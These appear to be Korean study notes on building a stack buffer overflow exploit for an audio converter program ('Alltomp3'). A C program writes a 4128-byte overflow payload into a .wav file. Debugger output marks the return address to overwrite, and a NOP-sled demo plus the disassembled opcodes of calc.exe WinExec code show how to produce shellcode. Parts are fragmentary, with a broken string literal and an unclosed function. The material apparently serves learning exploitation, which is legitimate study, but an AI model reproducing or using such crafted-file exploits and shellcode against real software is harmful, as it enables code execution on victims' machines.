파일입출력
#include "stdafx.h"
#include <stdio.h>
#include <conio.h>
#include <string.h>
int main(int argc, char* argv[])
{
int state;
//파일 개방
FILE * file = fopen("fputs.wav", "wt");
if(file==NULL){
printf("파일을 열 수 없습니다.\n");
return 0;
}
//puts 함수의 활용
// puts("puts함수");
//fputs함수의 활용
// fputs("fputs\n", stdout);
//fputs 함수의 화룡2
int i;
char date[5000]="";
for(i = 0; i < 4128; i++){
strncat(date, "\x42", 1);
}
printf("%s",date);
fputs(date, file);
//파일종결
state=fclose(file);
if(state != 0){
printf("파일을 닫을 수 없습니다.");
return 0;
}
46366846
4128
004AB28D E8 960A0000 CALL Alltomp3.004ABD28
EBP+4 >|004A>RETURN to Alltomp3.004A95D4 // 되돌아가는 지점
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\계산기 옵코드 변환방법
#include "stdafx.h"
/*
void func(char *p){
char buf[4];
memcpy(buf, p, 1024);//메모리를 복사함 p값을 1024byte만큼 복사해 buf에 넣는다.
}
*/
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
/*
char str[1024] = "\x90\x90\x90\x90\x90\x90\x90\x90\xED\1E\97\7C; //4byte씩 들어감
func(str);
return 0;
*/
char calc[] = "calc.exe";
WinExec(calc, SW_SHOW);
}
-------------------------C원본 코드
636C6163
6578652E
xor dl, dl
0012FF2C
00401000 /$ 83EC 0C SUB ESP,0C
00401003 B8 63616C63 MOV EAX,636C6163
00401008 B9 2E657865 MOV ECX,6578652E
0040100D 32D2 XOR DL,DL
0040100F 890424 MOV DWORD PTR SS:[ESP],EAX
00401012 8D0424 LEA EAX,DWORD PTR SS:[ESP]
00401015 6A 05 PUSH 5
00401017 50 PUSH EAX
00401018 894C24 0C MOV DWORD PTR SS:[ESP+C],ECX
0040101C 885424 10 MOV BYTE PTR SS:[ESP+10],DL
00401020 BA 4D11867C MOV EDX,kernel32.WinExec
00401025 FFD2 CALL EDX
00401027 90 NOP
00401028 90 NOP
00401029 90 NOP
0040102A 90 NOP
0040102B 90 NOP
0040102C 90 NOP
0040102D |. 83C4 0C ADD ESP,0C
00401030 \. C2 1000 RETN 10